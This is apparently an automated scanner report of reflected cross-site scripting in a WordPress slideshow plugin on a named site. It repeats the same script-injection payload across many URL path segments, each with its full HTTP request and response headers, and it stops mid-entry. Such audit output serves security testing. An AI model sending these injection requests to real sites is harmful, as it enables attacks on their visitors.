GET /site/wp-content/plugins/superslider-show/jse12e6"><script>alert(1)</script>f6e7648297d/slimbox.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:03 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674583+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674583; expires=Thu, 02-Feb-2012 19:23:03 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:03 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53333
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59b1e"><script>alert(1)</script>7e580d589db was submitted in the REST URL parameter 6. This input was echoed as 59b1e\"><script>alert(1)</script>7e580d589db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/js/slimbox.js59b1e"><script>alert(1)</script>7e580d589db HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:04 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674584+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674585; expires=Thu, 02-Feb-2012 19:23:05 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:05 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53332
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55536"><script>alert(1)</script>160905c159f was submitted in the REST URL parameter 1. This input was echoed as 55536\"><script>alert(1)</script>160905c159f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site55536"><script>alert(1)</script>160905c159f/wp-content/plugins/superslider-show/plugin-data/superslider/ssShow/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:40 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674560+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674560; expires=Thu, 02-Feb-2012 19:22:40 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:40 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aac9e"><script>alert(1)</script>d90ed1acbd5 was submitted in the REST URL parameter 2. This input was echoed as aac9e\"><script>alert(1)</script>d90ed1acbd5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-contentaac9e"><script>alert(1)</script>d90ed1acbd5/plugins/superslider-show/plugin-data/superslider/ssShow/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:42 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674562+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674562; expires=Thu, 02-Feb-2012 19:22:42 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:42 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8332"><script>alert(1)</script>7ad48b4bc3b was submitted in the REST URL parameter 3. This input was echoed as a8332\"><script>alert(1)</script>7ad48b4bc3b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/pluginsa8332"><script>alert(1)</script>7ad48b4bc3b/superslider-show/plugin-data/superslider/ssShow/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:43 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674564+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674564; expires=Thu, 02-Feb-2012 19:22:44 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:44 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a062d"><script>alert(1)</script>5479a44adae was submitted in the REST URL parameter 4. This input was echoed as a062d\"><script>alert(1)</script>5479a44adae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-showa062d"><script>alert(1)</script>5479a44adae/plugin-data/superslider/ssShow/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:45 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674565+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674566; expires=Thu, 02-Feb-2012 19:22:46 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:46 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf811"><script>alert(1)</script>3f0521f2648 was submitted in the REST URL parameter 5. This input was echoed as cf811\"><script>alert(1)</script>3f0521f2648 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/plugin-datacf811"><script>alert(1)</script>3f0521f2648/superslider/ssShow/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:47 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674567+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674568; expires=Thu, 02-Feb-2012 19:22:48 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:48 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c16c7"><script>alert(1)</script>0518058665f was submitted in the REST URL parameter 6. This input was echoed as c16c7\"><script>alert(1)</script>0518058665f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/plugin-data/supersliderc16c7"><script>alert(1)</script>0518058665f/ssShow/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:49 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674569+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674569; expires=Thu, 02-Feb-2012 19:22:49 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:49 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb0ac"><script>alert(1)</script>6823b746046 was submitted in the REST URL parameter 7. This input was echoed as cb0ac\"><script>alert(1)</script>6823b746046 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/plugin-data/superslider/ssShowcb0ac"><script>alert(1)</script>6823b746046/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:51 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674571+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674571; expires=Thu, 02-Feb-2012 19:22:51 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:51 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7485"><script>alert(1)</script>4c6d54f9ffe was submitted in the REST URL parameter 8. This input was echoed as f7485\"><script>alert(1)</script>4c6d54f9ffe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/plugin-data/superslider/ssShow/defaultf7485"><script>alert(1)</script>4c6d54f9ffe/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:53 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674574+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674574; expires=Thu, 02-Feb-2012 19:22:54 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:54 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d29d"><script>alert(1)</script>086bd3cb201 was submitted in the REST URL parameter 9. This input was echoed as 6d29d\"><script>alert(1)</script>086bd3cb201 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show/plugin-data/superslider/ssShow/default/default.css6d29d"><script>alert(1)</script>086bd3cb201 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:55 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674576+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674576; expires=Thu, 02-Feb-2012 19:22:56 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:56 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c215d"><script>alert(1)</script>2a891610468 was submitted in the REST URL parameter 1. This input was echoed as c215d\"><script>alert(1)</script>2a891610468 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sitec215d"><script>alert(1)</script>2a891610468/wp-content/plugins/superslider-show/plugin-data/superslider/ssShow/lightbox/lightbox.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:43 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674563+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674563; expires=Thu, 02-Feb-2012 19:22:43 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:43 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53449
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34007"><script>alert(1)</script>c24b863bac was submitted in the REST URL parameter 2. This input was echoed as 34007\"><script>alert(1)</script>c24b863bac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content34007"><script>alert(1)</script>c24b863bac/plugins/superslider-show/plugin-data/superslider/ssShow/lightbox/lightbox.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:44 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674564+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674565; expires=Thu, 02-Feb-2012 19:22:45 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:45 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53447
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 888b9"><script>alert(1)</script>1856c8b9929 was submitted in the REST URL parameter 3. This input was echoed as 888b9\"><script>alert(1)</script>1856c8b9929 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins888b9"><script>alert(1)</script>1856c8b9929/superslider-show/plugin-data/superslider/ssShow/lightbox/lightbox.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:47 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674567+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674568; expires=Thu, 02-Feb-2012 19:22:48 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:48 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53449
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 744e0"><script>alert(1)</script>c4cb7786a57 was submitted in the REST URL parameter 4. This input was echoed as 744e0\"><script>alert(1)</script>c4cb7786a57 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-show744e0"><script>alert(1)</script>c4cb7786a57/plugin-data/superslider/ssShow/lightbox/lightbox.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
